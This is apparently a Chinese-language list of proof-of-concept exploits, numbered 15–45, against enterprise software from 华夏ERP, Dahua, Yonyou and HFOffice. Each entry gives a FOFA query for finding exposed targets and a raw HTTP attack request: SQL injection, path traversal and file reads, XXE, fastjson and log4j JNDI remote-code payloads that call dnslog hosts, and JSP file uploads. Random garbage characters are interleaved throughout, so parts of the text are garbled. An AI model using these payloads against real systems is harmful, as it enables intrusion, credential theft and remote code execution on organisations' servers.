; m  g; ]$ @) ~+ T; c
6 S8 W5 k2 M8 H1 Q. U
15. 华夏ERP getAllList信息泄露
CVE-2024-0490
FOFA：body="jshERP-boot"
泄露内容包括用户名密码
& U+ @# v; [) z# h/ CGET /jshERP-boot/user/a.ico/../getAllList HTTP/1.1
9 }7 r8 a+ e* p; `  I2 q" pHost: 192.168.40.130:100
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.1916.47 Safari/537.36
Connection: close
Accept: application/signed-exchange;v=b3;q=0.7,*/*;q=0.8
Accept-Language: en
( Y/ x8 ?& B* z& O( P; bsec-ch-ua-platform: Windows
: l/ F) X" T% d6 j# ~1 `. _% W. hAccept-Encoding: gzip
$ Q! `; \- b* |( g+ W
1 \5 Z: L0 e) F
16.  红帆HFOffice医微云SQL注入
FOFA：title="HFOffice"
poc中调用函数计算1234的md5值
4 c9 ]- T- X0 M6 TGET /api/switch-value/list?sorts=%5B%7B%22Field%22:%221-CONVERT(VARCHAR(32),%20HASHBYTES(%27MD5%27,%20%271234%27),%202);%22%7D%5D&conditions=%5B%5D&_ZQA_ID=4dc296c6c69905a7 HTTP/1.1
Host: x.x.x.x
- B9 w7 m/ Q7 f- S8 w! r* ]( SUser-Agent: Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/34.0.1866.237 Safari/537.36
Connection: close
Accept: */*
' t- p/ g3 w% |6 q# pAccept-Language: en
1 [+ n4 b  u- y3 G; g! LAccept-Encoding: gzip

2 m2 a; f: j4 }
17. 大华 DSS itcBulletin SQL 注入
. H3 ?( t* ^( m- BFOFA：app="dahua-DSS"
POST /portal/services/itcBulletin?wsdl HTTP/1.1
Host: x.x.x.x
6 g5 {- I6 ]' F9 ^+ ?User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
7 l1 Q' H3 |4 J$ A9 m7 oConnection: close
) I8 D  F# a; ?3 l; A. S1 F2 HContent-Length: 345
7 [* d9 C5 U: y% Y, ]4 IAccept-Encoding: gzip
; `4 @% _: Q) \( n& U
' y1 o& l9 b$ @9 \2 A* {0 z<s11:Envelope xmlns:s11='http://schemas.xmlsoap.org/soap/envelope/'>
9 j( e  r. b' `: q2 @2 X<s11:Body>
( p: w* N0 m8 G1 Q+ H, b    <ns1:deleteBulletin xmlns:ns1='http://itcbulletinservice.webservice.dssc.dahua.com'>
2 `4 q7 F+ [+ s( x4 f4 Y; G  E      <netMarkings>
       (updatexml(1,concat(0x7e,md5(102103122),0x7e),1))) and (1=1
7 z- ^9 ?6 p- v8 a# z/ O      </netMarkings>
    </ns1:deleteBulletin>
  </s11:Body>
</s11:Envelope>
  Y" m6 E' |8 l9 N

18. 大华 DSS 数字监控系统 user_edit.action 信息泄露
/ v5 k: C3 w( X# _+ cFOFA：app="dahua-DSS"
( N0 I3 _7 U$ [GET /admin/cascade_/user_edit.action?id=1 HTTP/1.1
/ V7 F! Y: B  m) A9 m, m! rHost: your-ip
! v! T  ~! U, a2 I8 D" z9 LUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: */*
1 z9 H8 L7 k4 A4 CConnection: keep-alive
( V* ?/ v; L- |
6 X" C: @, d$ _6 ?! g+ a% o# P- {

19. 大华 DSS 数字监控系统 attachment_clearTempFile.action SQL注入
FOFA：app="dahua-DSS"
) p! i2 ?7 [( R) ]GET /portal/attachment_clearTempFile.action?bean.RecId=1%27)%20AND%20EXTRACTVALUE(8841,CONCAT(0x7e,user(),0x7e))%20AND%20(%27mYhO%27=%27mYhO&bean.TabName=1 HTTP/1.1
! I; D0 {1 O8 t9 iHost:
( J" h, q9 s& MUser-Agent:Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36
1 W* r2 _. W& E3 D7 lAccept-Encoding: gzip, deflate
Accept: */*
Connection: keep-alive
! S; H% t% N* y4 ~6 k% i1 A5 i

20. 大华ICC智能物联综合管理平台任意文件读取
FOFA：body="*客户端会小于800*"
GET /evo-apigw/evo-cirs/file/readPic?fileUrl=file:/etc/passwd HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36
Connection: close
Accept: */*
Accept-Language: en
: |6 }# t4 I' ?+ ?1 _; v, FAccept-Encoding: gzip
5 B$ i3 Z: M/ V* D$ R1 Z" C7 j
5 j1 Z3 r6 n$ t0 V1 D' D
- }0 C  g. P7 x9 J- ]1 Z: b9 v2 ^21. 大华ICC智能物联综合管理平台random远程代码执行
FOFA：icon_hash="-1935899595"
POST /evo-runs/v1.0/auths/sysusers/random HTTP/1.1
3 j# G; f" M# X& R! R/ gHost: x.x.x.x
6 ~) ]+ g8 T5 B9 oUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Content-Length: 161
Accept-Encoding: gzip
Connection: close
/ \$ j3 P. Y8 l8 a9 x5 H9 l3 ]Content-Type: application/json;charset=utf-8
) b  ^7 D* I8 T; l( d/ L4 f
{
"a":{
   "@type":"com.alibaba.fastjson.JSONObject",
$ [+ _7 C9 K: C" a7 A# d7 c2 R* U! E    {"@type":"java.net.URL","val":"http://farr9frh.dnslog.pw"}
) C2 x7 H3 |0 d2 j9 F  }""
}
2 M- X% Y5 v+ H; `7 l# f
- ?. W+ Z' S' N4 {+ b( m
6 {. m, m6 r2 {& B" O22. 大华ICC智能物联综合管理平台 log4j远程代码执行
FOFA：icon_hash="-1935899595"
POST /evo-apigw/evo-brm/1.2.0/user/is-exist HTTP/1.1
Host: your-ip
  [! w% N3 C, jUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36
Content-Type: application/json;charset=utf-8

{
6 s. F+ W% N2 a, ^6 }"loginName":"${jndi:ldap://dnslog}"
}

* h- s7 \9 D8 J- W

* {& \8 f" p2 d; x1 c0 _8 I23. 大华ICC智能物联综合管理平台 fastjson远程代码执行
/ `  s9 F; g2 ]( zFOFA：icon_hash="-1935899595"
2 l/ A: m" J+ O# g6 l' iPOST /evo-runs/v1.0/auths/sysusers/random HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
* O! m7 s$ `+ Z- f+ M/ ^* j+ i$ e$ BContent-Type: application/json;charset=utf-8
Accept-Encoding: gzip
1 }' A4 U6 C! b" y1 B) NConnection: close

{
/ E& M5 j* _% r% g( a+ `* p    "a":{
        "@type":"com.alibaba.fastjson.JSONObject",
       {"@type":"java.net.URL","val":"http://DNSLOG"}
0 B& a6 ~/ G0 x0 W) z: u  h        }""
+ s. b3 c5 q% B# {6 s" {& o}

1 Y% N$ |6 g& M. j
* B- Y( p. z4 R4 B6 h8 N24. 用友NC 6.5 accept.jsp任意文件上传
; Q  I5 C, K  t: V( R' KFOFA：icon_hash="1085941792"
POST /aim/equipmap/accept.jsp HTTP/1.1
( m# R* L% w+ I' t5 m  o/ n) uHost: x.x.x.x
User-Agent: Mozilla/5.0 (X11; OpenBSD i386) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.125 Safari/537.36
Connection: close
Content-Length: 449
8 U% O3 Z; h5 |* }! RAccept: */*
+ b, s. i: \; u* U- b) d1 ^- ^Accept-Encoding: gzip
Content-Type: multipart/form-data; boundary=---------------------------yFeOihSQU1QYLu0KwhX72U5C1sMYc
6 f2 J8 a4 Q( w( a. U) l
-----------------------------yFeOihSQU1QYLu0KwhX72U5C1sMYc
0 \6 V( P, r4 F% S: b- A1 TContent-Disposition: form-data; name="upload"; filename="2XpU7VbkFeTFZZLbSMlVZwJyOxz.txt"
Content-Type: text/plain

; F$ D" u5 ?. M' |& L<% out.println("2XpU7Y2Els1K9wZvOlSmrgolNci"); %>
& {) D' O2 N: s. o3 i-----------------------------yFeOihSQU1QYLu0KwhX72U5C1sMYc
Content-Disposition: form-data; name="fname"
% O8 e7 c# {2 J7 T3 h& ^" n% G7 ~" u$ P
\webapps\nc_web\2XpU7WZCxP3YJqVaC0EjlHM5oAt.jsp
  k; V) ?1 U5 ]9 R. @# `0 h$ d-----------------------------yFeOihSQU1QYLu0KwhX72U5C1sMYc--
/ d6 u0 j  v. s" D, h

4 w) O. Q! S' J4 O+ ?25. 用友NC registerServlet JNDI 远程代码执行
FOFA：app="用友-UFIDA-NC"
4 X# c) U9 {; g1 ^- hPOST /portal/registerServlet HTTP/1.1
9 Q' `9 F: h7 s; k, K9 w5 F$ EHost: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0
1 Q0 S3 s5 ^9 LAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*; q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
9 I2 ?: }3 u2 }1 b( zAccept-Language: zh,en-US;q=0.9,en-GB;q=0.8,en;q=0.7,zh-CN;q=0.6
2 V! l+ I2 B1 B- o( b$ i& s: jContent-Type: application/x-www-form-urlencoded
& j  X, U& {! U. `! l
, A# S/ K& t/ vtype=1&dsname=ldap://dnslog
" M. f  S5 K8 {. ], b( L. r
" r4 {/ O! s* b8 C  ^0 |* m1 ^' C
0 d) f8 X! I! U- F7 d& E
1 C. ]4 C  i! a$ e$ @26. 用友NC linkVoucher SQL注入
FOFA：app="用友-UFIDA-NC"
GET /portal/pt/yercommon/linkVoucher?pageId=login&pkBill=1'waitfor+delay+'0:0:5'-- HTTP/1.1
# D0 j" z5 W+ V6 [" v. I/ UHost: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
Content-Type: application/x-www-form-urlencoded
+ R  B' `  m' V" L# ^Accept-Encoding: gzip, deflate
Accept: */*
Connection: keep-alive
- m) x7 ]' A" u9 N( r
9 b7 P. l" {. e. D; q3 p: K) q$ \
27. 用友 NC showcontent SQL注入
) z/ w6 |/ v' A* F0 ~+ ^FOFA：icon_hash="1085941792"
* V, J- V! c) g- x. t0 i3 qGET /ebvp/infopub/showcontent?id=1'+AND+1=DBMS_PIPE.RECEIVE_MESSAGE(1,5)-- HTTP/1.1
( @# P: N9 \, `% F- \" ]Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
Accept-Encoding: identity
Connection: close
- V1 T4 J( M: D4 E$ U5 JContent-Type: text/xml; charset=utf-8
9 s. G5 l# e$ Q( U! Y

+ \1 o6 l) Z" {28. 用友NC grouptemplet 任意文件上传
FOFA：icon_hash="1085941792"
# r3 L+ c' T7 l* |. ]: ?POST /uapim/upload/grouptemplet?groupid=nc&fileType=jsp HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.93 Safari/537.36
Connection: close
2 L4 v, g% B3 q* ^Content-Length: 268
Content-type: multipart/form-data; boundary=----------ny4hGVLLpZPZm0CE3KNtyhNSXvFgk
Accept-Encoding: gzip
; x) N/ F  i3 r& v9 d
9 x0 L( \  L' `2 w' r) S" Y, H------------ny4hGVLLpZPZm0CE3KNtyhNSXvFgk
Content-Disposition: form-data; name="upload"; filename="2fiu0YTGkaX2DrJlUZZP5IGvNvk.jsp"
Content-Type: application/octet-stream
  @7 c- v" z; r3 w# w' J
<%out.println("2fiu0WM4788fa6NcMHipkIthTTW");%>
------------ny4hGVLLpZPZm0CE3KNtyhNSXvFgk--


- {$ H0 V  P9 n8 N/uapim/static/pages/nc/head.jsp

29. 用友NC down/bill SQL注入
$ }9 y  o6 I* ~' S5 i0 T  kFOFA：icon_hash="1085941792" && body="/logo/images/logo.gif"
1 j! J# q* R4 ?3 s. G3 K$ l; s; hGET /portal/pt/erfile/down/bill?pageId=login&id=1'+AND+4563=DBMS_PIPE.RECEIVE_MESSAGE(CHR(65),5)-- HTTP/1.1
Host: your-ip
( {8 H" Y5 c/ lUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip, deflate
' N# ?+ I9 \% _0 oAccept: */*
Connection: keep-alive
0 \* e+ B4 r  S, Y! c1 o

30. 用友NC importPml SQL注入
6 L8 w# X# J4 h: r3 b0 H8 TFOFA：icon_hash="1085941792" && body="/logo/images/logo.gif"
POST /portal/pt/portalpage/importPml?pageId=login&billitem=1'WAITFOR+DELAY+'0:0:5'-- HTTP/1.1
, N: i' G" W; D0 T9 l8 L8 SHost: your-ip
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryH970hbttBhoCyj9V
/ L4 h: C9 k/ M! f) K2 C6 w# _0 dUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36
Connection: close

------WebKitFormBoundaryH970hbttBhoCyj9V
3 d/ `$ n3 P  k% i. }' ?Content-Disposition: form-data; name="Filedata"; filename="1.jpg"
Content-Type: image/jpeg
3 z- {/ K: U9 h, X) w  t------WebKitFormBoundaryH970hbttBhoCyj9V--


31. 用友NC runStateServlet SQL注入
version<=6.5
FOFA：icon_hash="1085941792" && body="/logo/images/logo.gif"
GET /portal/pt/servlet/runStateServlet/doPost?pageId=login&proDefPk=1'waitfor+delay+'0:0:5'-- HTTP/1.1
8 E: V: V. @& u( K) l' \$ tHost: host
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36
3 J" R) Q* O3 P0 d( F, B5 \Content-Type: application/x-www-form-urlencoded


32. 用友NC complainbilldetail SQL注入
6 M+ K% E  r# C; v' o  u8 o0 bversion= NC633、NC65
FOFA：app="用友-UFIDA-NC"
GET /ebvp/advorappcoll/complainbilldetail?pageId=login&pk_complaint=1'waitfor+delay+'0:0:5'-- HTTP/1.1
# Q, Q  u4 U: ]! @5 A4 HHost: your-ip
2 p' [2 p2 B# u; D7 C7 }' oUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
4 q( L+ I3 [3 x3 NContent-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip, deflate
+ q. J- l% `. l% Y0 X* I3 T; z# mAccept: */*
$ B' L* e  Y0 M+ ^9 CConnection: keep-alive
4 q1 R' z0 ]  Y% l, B) t
, V5 `* Z& U" U6 D1 D$ @9 @
7 T( Z& y1 X" l33. 用友NC downTax/download SQL注入
version：NC6.5FOFA：app="用友-UFIDA-NC"
: V$ m5 Y4 J4 Q# d' lGET /portal/pt/downTax/download?pageId=login&classid=1'waitfor+delay+'0:0:5'-- HTTP/1.1
- ~5 a, L' g$ x( u0 JHost: your-ip
+ N! B9 Q( }# q, FUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
8 c- _) j8 |- _9 Y' O+ b. n( `1 }Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip, deflate
+ L* o& {9 {- H5 x0 l/ lAccept: */*
Connection: keep-alive

  W  o. g2 t7 r2 D# x* T+ o
; f* R( t  p- U# D9 V: q+ ~34. 用友NC warningDetailInfo接口SQL注入
FOFA：app="用友-UFIDA-NC"
  c4 K; e! n" h  \" n8 n% ^GET /ebvp/infopub/warningDetailInfo?pageId=login&pkMessage=1'waitfor+delay+'0:0:5'-- HTTP/1.1
Host: your-ip
% h) v3 y4 h  }0 v) W& vUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
Content-Type: application/x-www-form-urlencoded
# L$ m) r: C$ i" pAccept-Encoding: gzip, deflate
9 M! A( A# ?1 mAccept: */*
3 _8 x; ^8 o* s$ ]. LConnection: keep-alive

. Q; O: w% F! U; h
( u2 [( [# B3 F( M# ?35. 用友NC-Cloud importhttpscer任意文件上传
- _( a3 B, w2 h$ |& B& \3 }4 CFOFA：app="用友-NC-Cloud"
POST /nccloud/mob/pfxx/manualload/importhttpscer HTTP/1.1
Host: 203.25.218.166:8888
User-Agent: Mozilla/5.0 (Windows NT 5.1; rv:5.0) Gecko/20100101 Firefox/5.0 info
Accept-Encoding: gzip, deflate
Accept: */*
Connection: close
accessToken: eyJhbGciOiJIUzUxMiJ9.eyJwa19ncm91cCI6IjAwMDE2QTEwMDAwMDAwMDAwSkI2IiwiZGF0YXNvdXJjZSI6IjEiLCJsYW5nQ29kZSI6InpoIiwidXNlclR5cGUiOiIxIiwidXNlcmlkIjoiMSIsInVzZXJDb2RlIjoiYWRtaW4ifQ.XBnY1J3bVuDMYIfPPJXb2QC0Pdv9oSvyyJ57AQnmj4jLMjxLDjGSIECv2ZjH9DW5T0JrDM6UHF932F5Je6AGxA
7 c+ N+ M/ l+ I- ~Content-Length: 190
Content-Type: multipart/form-data; boundary=fd28cb44e829ed1c197ec3bc71748df0
) H# @0 P5 C" k' s$ S$ q
--fd28cb44e829ed1c197ec3bc71748df0
Content-Disposition: form-data; name="file"; filename="./webapps/nc_web/1.jsp"
& K& [4 v. l5 w6 c: x' @
<%out.println(1111*1111);%>
--fd28cb44e829ed1c197ec3bc71748df0--

6 C( o9 u8 u  K4 J. J  K- C
8 x3 Y6 f7 n* y4 M1 \% R8 r+ k: {36. 用友NC-Cloud soapFormat XXE
; t0 ~  ]% ~- a4 {% A6 [FOFA：body="/Client/Uclient/UClient.exe"||body="ufida.ico"||body="nccloud"||body="/api/uclient/public/"
4 W2 w8 Q4 t6 N# {POST /uapws/soapFormat.ajax HTTP/1.1
Host: 192.168.40.130:8989
4 }1 ~+ |6 F3 K/ u% zUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/109.0
" J8 K6 n: W4 C4 T% s; H; KContent-Length: 263
) `$ a4 x! D" O/ xAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
1 o, H3 C. R$ F- i" q0 iAccept-Encoding: gzip, deflate
  n8 r4 e+ f# x. n" dAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Connection: close
: h) D" l) p$ \Content-Type: application/x-www-form-urlencoded
Upgrade-Insecure-Requests: 1

msg=<!DOCTYPE foo[<!ENTITY xxe1two SYSTEM "file:///C://windows/win.ini"> ]><soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><soap:Fault><faultcode>soap:Server%26xxe1two%3b</faultcode></soap:Fault></soap:Body></soap:Envelope>%0a
* k% r8 L/ j8 j/ i, k# s! q  |" H
5 A% K7 W  F+ j; u- c  e
; k+ u* F: w: `7 O# h37. 用友NC-Cloud IUpdateService XXE
! l3 x3 h5 a7 l  S1 WFOFA：body="/Client/Uclient/UClient.exe"||body="ufida.ico"||body="nccloud"||body="/api/uclient/public/"
POST /uapws/service/nc.uap.oba.update.IUpdateService HTTP/1.1
& }; O8 ]' r& u/ Z; f0 THost: 192.168.40.130:8989
1 H/ {: t  |) s1 jUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.93 Safari/537.36
Content-Length: 421
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
9 w2 c+ U0 x# ^2 C/ R) ?& X, X( qConnection: close
: N- y! ^/ Q5 I8 P3 kContent-Type: text/xml;charset=UTF-8
+ M- k5 h9 H7 D6 M  A% |SOAPAction: urn:getResult
3 |0 G5 N0 u4 Q" s8 aUpgrade-Insecure-Requests: 1
+ _& f$ ]- q6 u) M, h6 K- f  I
9 f# B3 Q1 ]( n  c1 ^: Z, w<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:iup="http://update.oba.uap.nc/IUpdateService">
4 @+ i! e# O1 ?$ V; |<soapenv:Header/>
  O5 L8 M8 g) K7 v) J, o<soapenv:Body>
<iup:getResult>
<!--type: string-->
<iup:string><![CDATA[
+ }, y' H% U% l! N! J<!DOCTYPE xmlrootname [<!ENTITY % aaa SYSTEM "http://c2vkbwbs.dnslog.pw">%aaa;%ccc;%ddd;]>
<xxx/>]]></iup:string>
</iup:getResult>
. g( c- ?. `+ \, R; A1 a) D* ^- v1 a. Q</soapenv:Body>
</soapenv:Envelope>
& C8 C+ t, p: \/ ^; l* @% h
7 k) h" M' R- h3 W: W
, g0 e7 e  f1 ~* {4 F# A
* s8 X' \7 Q7 x4 s38. 用友U8 Cloud smartweb2.RPC.d XXE
FOFA：app="用友-U8-Cloud"
. f* ]9 A/ s0 i, F8 y) DPOST /hrss/dorado/smartweb2.RPC.d?__rpc=true HTTP/1.1
Host: 192.168.40.131:8088
8 S; L5 I9 |" M, h9 B. f" X5 y0 eUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 12_10) AppleWebKit/600.1.25 (KHTML, like Gecko) Version/12.0 Safari/1200.1.25
Content-Length: 260
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
: p" n! O( \5 M7 b* CConnection: close
Content-Type: application/x-www-form-urlencoded
' x9 e) U: E0 t( x/ ~
8 b, i8 x' I6 ~& O9 [__viewInstanceId=nc.bs.hrss.rm.ResetPassword~nc.bs.hrss.rm.ResetPasswordViewModel&__xml=<!DOCTYPE z [<!ENTITY Password SYSTEM "file:///C://windows//win.ini" >]><rpc transaction="10" method="resetPwd"><vps><p name="__profileKeys">%26Password;</p ></vps></rpc>
' V  O5 p* ]3 ?9 N

" C9 ^, g* G5 v4 \: }39. 用友U8 Cloud RegisterServlet SQL注入
  D% o+ y: Z! \* H4 u1 D  p, fFOFA：title="u8c"
( H* u/ ~& o  V5 T; pPOST /servlet/RegisterServlet HTTP/1.1
8 z! A3 `1 ~& XHost: 192.168.86.128:8089
4 G; k7 u& I; g% p6 i8 m. YUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_8_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2866.71 Safari/537.36
. a# H% L  z- g$ q( J: K6 B, pConnection: close
. }- C0 p; h. O* V: E) c! ^Content-Length: 85
% B; X( o- z) ~* a0 N5 c0 vAccept: */*
Accept-Language: en
Content-Type: application/x-www-form-urlencoded
. Y1 v1 @. f# G2 U) NX-Forwarded-For: 127.0.0.1
Accept-Encoding: gzip

usercode=1' and substring(sys.fn_sqlvarbasetostr(HashBytes('MD5','123456')),3,32)>0--
: ^$ D& \! Y% F5 `+ X$ z& ?5 h

% I' G; q% H- _# o9 H/ w/ {& o4 m40. 用友U8-Cloud XChangeServlet XXE
FOFA：app="用友-U8-Cloud"
3 u0 U8 c7 C' N1 R7 d9 mPOST /service/XChangeServlet HTTP/1.1
/ B, S- m9 z8 m6 zHost: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36
: V" o9 ?0 g* w5 K8 z. |! H+ ^Content-Type: text/xml
3 @, ^0 i0 N: O0 x; \! ~- oConnection: close
/ @. K$ W; A6 c1 N$ i0 d; ]
. O' r! j# A4 E8 d<!DOCTYPE r [<!ELEMENT r ANY ><!ENTITY xxe SYSTEM "http://farr9frh.dnslog.pw">]><r><a>&xxe;</a ></r>

9 N% {- Q. T1 F+ w) U( z5 A
5 R  u% A1 j0 }7 t41. 用友U8 Cloud MeasureQueryByToolAction SQL注入
7 C& ?) B! X. }/ o2 n, UFOFA：app="用友-U8-Cloud"
GET /service/~iufo/com.ufida.web.action.ActionServlet?action=nc.ui.iufo.query.measurequery.MeasureQueryByToolAction&method=execute&query_id=1%27);WAITFOR+DELAY+%270:0:5%27--+ HTTP/1.1
0 u: E/ ]4 |6 X  \6 ]Host:
) k* X5 g& W! f$ d5 oUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Content-Type: application/json
+ h2 w" A' l5 I2 `/ Z- Y* k8 JAccept-Encoding: gzip
Connection: close
: x4 b: h- m" V" \; z
3 H4 o8 Q1 n1 Q0 _9 J# W) S& \
42. 用友GRP-U8 SmartUpload01 文件上传
FOFA：app="用友-GRP-U8"
( r4 g4 U7 o! i) WPOST /u8qx/SmartUpload01.jsp HTTP/1.1
Host: x.x.x.x
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryzhvrkrqt
" c) ]1 z  b  H3 I2 mUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/37.0.2062.124 Safari/537.36

" a1 \2 @3 d, L8 T, C( n( OPAYLOAD
- Y( ^. @, B+ p' N* |9 Y

4 K0 K( ]% T# xhttp://x.x.x.x/jatoolsreport?file=/1.pdf&as=dhtml

43. 用友GRP-U8 userInfoWeb SQL注入致RCE
FOFA：app="用友-GRP-U8"
POST /services/userInfoWeb HTTP/1.1
; L6 T% U4 k5 p4 ?9 a  WHost: your-ip
2 r; B0 N; L/ P5 e6 ?User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36(KHTML, like Gecko) Chrome/93.0.4577.63 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
, i  H2 z& L% M3 xConnection: close
8 d% i% Y: q9 C9 M8 H7 I, B. V! oSOAPAction:
Content-Type: text/xml;charset=UTF-8
& x" B" F- Y% X3 U
<soapenv:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:ser="http://service.pt.midas.ufgov.com">
5 }1 M& J, h1 ^& f  D   <soapenv:Header/>
   <soapenv:Body>
/ c& z* r1 {4 f      <ser:getUserNameById soapenv:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/">
         <userId xsi:type="soapenc:string" xmlns:soapenc="http://schemas.xmlsoap.org/soap/encoding/">';waitfor delay '0:0:5'--</userId>
5 V2 v* r6 F4 C# l      </ser:getUserNameById>
5 k( M7 t1 N/ ], Z+ ~   </soapenv:Body>
3 \9 s! b1 @% j: ^! r+ s6 U</soapenv:Envelope>
, v1 ~  \. v) r& K1 y

% H8 K1 U# b: R; K& W9 d4 @6 w) F44. 用友GRP-U8 bx_dj_check.jsp SQL注入
, W& c' q1 u% u2 l9 B2 H+ G0 Q# Z7 \FOFA:app="用友-GRP-U8"
GET /u8qx/bx_dj_check.jsp?djlxdm=OER&djid=1';waitfor+delay+'0:0:5'-- HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
* n& s- m+ W0 I* S7 ?Accept-Encoding: gzip, deflate
5 h2 b  ~! Q1 T1 K% h9 n+ MAccept-Language: zh-CN,zh;q=0.9
" x8 `+ M0 O& o- Z+ X% \Connection: close


45. 用友GRP-U8 ufgovbank XXE
FOFA：app="用友-GRP-U8"
POST /ufgovbank HTTP/1.1
Host: 192.168.40.130:222
, I# U6 V4 ~9 j- e5 \; T3 mUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:104.0) Gecko/20100101 Firefox/104.0
Connection: close
0 L$ z2 ?. E" _& w% PContent-Length: 161
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
; h* o: g, o- H! ^' X( l" [Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip

7 ?' T( Z. T/ PreqData=<?xml version="1.0"?>
<!DOCTYPE foo SYSTEM "http://c2vkbwbs.dnslog.pw">&signData=1&userIP=1&srcFlag=1&QYJM=0&QYNC=adaptertest

4 J2 l8 O& o3 l/ l' L; s* k
